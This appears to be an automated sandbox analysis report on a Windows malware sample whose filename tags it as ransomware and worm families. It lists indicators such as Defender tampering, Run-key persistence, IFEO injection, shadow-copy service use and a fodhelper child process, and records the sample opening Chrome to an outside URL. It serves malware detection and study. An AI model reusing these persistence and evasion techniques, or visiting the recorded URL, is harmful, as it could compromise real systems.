2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs
pid Process 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4080 chrome.exe Token: SeCreatePagefilePrivilege 4080 chrome.exe Token: SeDebugPrivilege 5512 powershell.exe Token: SeShutdownPrivilege 4080 chrome.exe Token: SeCreatePagefilePrivilege 4080 chrome.exe Token: SeShutdownPrivilege 4080 chrome.exe Token: SeCreatePagefilePrivilege 4080 chrome.exe Token: SeShutdownPrivilege 4080 chrome.exe Token: SeCreatePagefilePrivilege 4080 chrome.exe Token: SeBackupPrivilege 4272 vssvc.exe Token: SeRestorePrivilege 4272 vssvc.exe Token: SeAuditPrivilege 4272 vssvc.exe Token: SeIncreaseQuotaPrivilege 5404 WMIC.exe Token: SeSecurityPrivilege 5404 WMIC.exe Token: SeTakeOwnershipPrivilege 5404 WMIC.exe Token: SeLoadDriverPrivilege 5404 WMIC.exe Token: SeSystemProfilePrivilege 5404 WMIC.exe Token: SeSystemtimePrivilege 5404 WMIC.exe Token: SeProfSingleProcessPrivilege 5404 WMIC.exe Token: SeIncBasePriorityPrivilege 5404 WMIC.exe Token: SeCreatePagefilePrivilege 5404 WMIC.exe Token: SeBackupPrivilege 5404 WMIC.exe Token: SeRestorePrivilege 5404 WMIC.exe Token: SeShutdownPrivilege 5404 WMIC.exe Token: SeDebugPrivilege 5404 WMIC.exe Token: SeSystemEnvironmentPrivilege 5404 WMIC.exe Token: SeRemoteShutdownPrivilege 5404 WMIC.exe Token: SeUndockPrivilege 5404 WMIC.exe Token: SeManageVolumePrivilege 5404 WMIC.exe Token: 33 5404 WMIC.exe Token: 34 5404 WMIC.exe Token: 35 5404 WMIC.exe Token: 36 5404 WMIC.exe Token: SeIncreaseQuotaPrivilege 5404 WMIC.exe Token: SeSecurityPrivilege 5404 WMIC.exe Token: SeTakeOwnershipPrivilege 5404 WMIC.exe Token: SeLoadDriverPrivilege 5404 WMIC.exe Token: SeSystemProfilePrivilege 5404 WMIC.exe Token: SeSystemtimePrivilege 5404 WMIC.exe Token: SeProfSingleProcessPrivilege 5404 WMIC.exe Token: SeIncBasePriorityPrivilege 5404 WMIC.exe Token: SeCreatePagefilePrivilege 5404 WMIC.exe Token: SeBackupPrivilege 5404 WMIC.exe Token: SeRestorePrivilege 5404 WMIC.exe Token: SeShutdownPrivilege 5404 WMIC.exe Token: SeDebugPrivilege 5404 WMIC.exe Token: SeSystemEnvironmentPrivilege 5404 WMIC.exe Token: SeRemoteShutdownPrivilege 5404 WMIC.exe Token: SeUndockPrivilege 5404 WMIC.exe Token: SeManageVolumePrivilege 5404 WMIC.exe Token: 33 5404 WMIC.exe Token: 34 5404 WMIC.exe Token: 35 5404 WMIC.exe Token: 36 5404 WMIC.exe Token: SeShutdownPrivilege 4080 chrome.exe Token: SeCreatePagefilePrivilege 4080 chrome.exe Token: SeShutdownPrivilege 4080 chrome.exe Token: SeCreatePagefilePrivilege 4080 chrome.exe Token: SeShutdownPrivilege 4080 chrome.exe Token: SeCreatePagefilePrivilege 4080 chrome.exe Token: SeShutdownPrivilege 4080 chrome.exe Token: SeCreatePagefilePrivilege 4080 chrome.exe Token: SeShutdownPrivilege 3856 explorer.exe Token: SeCreatePagefilePrivilege 3856 explorer.exe - Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 2684 sihost.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe - Suspicious use of SendNotifyMessage 64 IoCs
pid Process 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 4080 chrome.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe 3856 explorer.exe - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 1456 StartMenuExperienceHost.exe 3856 explorer.exe 3844 SearchHost.exe 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5600 wrote to memory of 4080 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 89 PID 4080 wrote to memory of 2908 4080 chrome.exe 90 PID 5600 wrote to memory of 5512 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 91 PID 5600 wrote to memory of 2028 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 93 PID 5600 wrote to memory of 3460 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 96 PID 5600 wrote to memory of 1468 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 98 PID 4080 wrote to memory of 5228 4080 chrome.exe 101 PID 4080 wrote to memory of 5988 4080 chrome.exe 102 PID 4080 wrote to memory of 5988 4080 chrome.exe 102 PID 4080 wrote to memory of 2532 4080 chrome.exe 105 PID 4080 wrote to memory of 3960 4080 chrome.exe 106 PID 4080 wrote to memory of 2532 4080 chrome.exe 105 PID 4080 wrote to memory of 3960 4080 chrome.exe 106 PID 4080 wrote to memory of 2748 4080 chrome.exe 103 PID 4080 wrote to memory of 2748 4080 chrome.exe 103 PID 5600 wrote to memory of 1056 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 104 PID 5600 wrote to memory of 5780 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 108 PID 4080 wrote to memory of 3328 4080 chrome.exe 110 PID 4080 wrote to memory of 3328 4080 chrome.exe 110 PID 5600 wrote to memory of 840 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 111 PID 5600 wrote to memory of 3524 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 113 PID 5600 wrote to memory of 6024 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 115 PID 5600 wrote to memory of 920 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 117 PID 5600 wrote to memory of 4992 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 118 PID 5600 wrote to memory of 5592 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 120 PID 920 wrote to memory of 4036 920 fodhelper.exe 122 PID 5600 wrote to memory of 3268 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 123 PID 5600 wrote to memory of 5404 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 125 PID 4080 wrote to memory of 1968 4080 chrome.exe 131 PID 4080 wrote to memory of 1968 4080 chrome.exe 131 PID 2684 wrote to memory of 3856 2684 sihost.exe 132 PID 5600 wrote to memory of 2232 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 136 PID 5600 wrote to memory of 3424 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 151 PID 5600 wrote to memory of 3556 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 141 PID 4080 wrote to memory of 6460 4080 chrome.exe 144 PID 4080 wrote to memory of 6468 4080 chrome.exe 145 PID 4080 wrote to memory of 6468 4080 chrome.exe 145 PID 4080 wrote to memory of 6476 4080 chrome.exe 146 PID 4080 wrote to memory of 6476 4080 chrome.exe 146 PID 5600 wrote to memory of 7144 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 149 PID 5600 wrote to memory of 1096 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 150 PID 5600 wrote to memory of 5028 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 152 PID 5600 wrote to memory of 2768 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 153 PID 5600 wrote to memory of 4604 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 154 PID 5600 wrote to memory of 4160 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 155 PID 5600 wrote to memory of 6148 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 156 PID 5600 wrote to memory of 6156 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 157 PID 5600 wrote to memory of 2780 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 162 PID 5600 wrote to memory of 2396 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 165 PID 2768 wrote to memory of 6348 2768 cmd.exe 167 PID 1096 wrote to memory of 4904 1096 cmd.exe 168 PID 5028 wrote to memory of 6304 5028 cmd.exe 169 PID 4160 wrote to memory of 6320 4160 cmd.exe 170 PID 4604 wrote to memory of 6328 4604 cmd.exe 171 PID 6156 wrote to memory of 6488 6156 cmd.exe 172 PID 6148 wrote to memory of 4208 6148 cmd.exe 173 PID 6320 wrote to memory of 2760 6320 net.exe 174 PID 1096 wrote to memory of 6440 1096 cmd.exe 175 PID 5600 wrote to memory of 6636 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 176 PID 5600 wrote to memory of 6608 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 177 PID 5600 wrote to memory of 6676 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 180 PID 5600 wrote to memory of 6780 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 182 PID 5600 wrote to memory of 6956 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 183 PID 5600 wrote to memory of 7012 5600 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe 184 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5600 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://xoilacbongda-wc2026a.tv2⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4080 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffa8462c728,0x7ffa8462c734,0x7ffa8462c7403⤵PID:2908
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,11136283425188500608,15441977939948081655,524288 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=2392 /prefetch:113⤵
- System Time Discovery
PID:5228
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2028,i,2318716183115580851,6868589992352656347,524288 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=2580 /prefetch:133⤵PID:5988
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,13382789989417750904,6552931640597759274,262144 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:23⤵PID:2748
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2996,i,5045698636119457288,3988824746830665692,2097152 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=3140 /prefetch:13⤵PID:2532
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3004,i,16086135167607686016,10764561376796523074,2097152 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=3160 /prefetch:13⤵PID:3960
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4596,i,1568148955258282456,6537458015781261080,524288 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=4612 /prefetch:143⤵PID:3328
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=5576,i,3631250898337716087,556598386257971620,2097152 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=5564 /prefetch:13⤵PID:1968
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4284,i,1902001913639131328,11620327421903642371,524288 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=3148 /prefetch:143⤵PID:6460
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5812,i,17408477559950136539,10044816351498874493,2097152 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:13⤵PID:6468
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=4280,i,15076279108257537392,5285829700849669177,2097152 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=5880 /prefetch:13⤵PID:6476
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=6032,i,3640140075664261219,1536843987582339813,2097152 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=5896 /prefetch:13⤵PID:7092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5432,i,9113160870555652099,1163332090578847568,2097152 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=4280 /prefetch:13⤵PID:4352
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5292,i,12019516610032797553,15255783503048933213,2097152 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=5992 /prefetch:13⤵PID:7008
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=3128,i,15764203889746701465,11685363072085586426,2097152 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=5432 /prefetch:13⤵PID:6256
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5872,i,3567239829616643920,7159423948288629980,524288 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=6112 /prefetch:143⤵PID:4584
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=4704,i,1824934345765841293,3925667809483546769,2097152 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=3128 /prefetch:13⤵PID:6984
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5284,i,10712967991664604315,4014026783597130687,2097152 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=3320 /prefetch:13⤵PID:6664
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5532,i,15779960098745893574,12733490239409715060,524288 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=5848 /prefetch:143⤵PID:5852
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5844,i,14454647658314905128,9248652830531360952,524288 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:143⤵PID:6532
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6000,i,9981845506034807978,2679548262507634886,2097152 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:13⤵PID:1420
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5976,i,12400307583184190429,1094375487017570446,2097152 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:93⤵PID:6772
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5744,i,15913693732143980865,1909292907338987572,524288 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=5664 /prefetch:143⤵PID:5496
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3148,i,2573397594661540432,16086402235263137291,524288 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=5188 /prefetch:143⤵PID:4044
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5844,i,16394285937866563725,12212157577514895356,524288 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=4740 /prefetch:143⤵PID:5968
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5300,i,7913083171643781491,4829540645947120982,262144 --field-trial-handle=2364,i,7653190363632782678,2550863230671473538,262144 --variations-seed-version --mojo-platform-channel-handle=5952 /prefetch:103⤵PID:2440
-
-
-
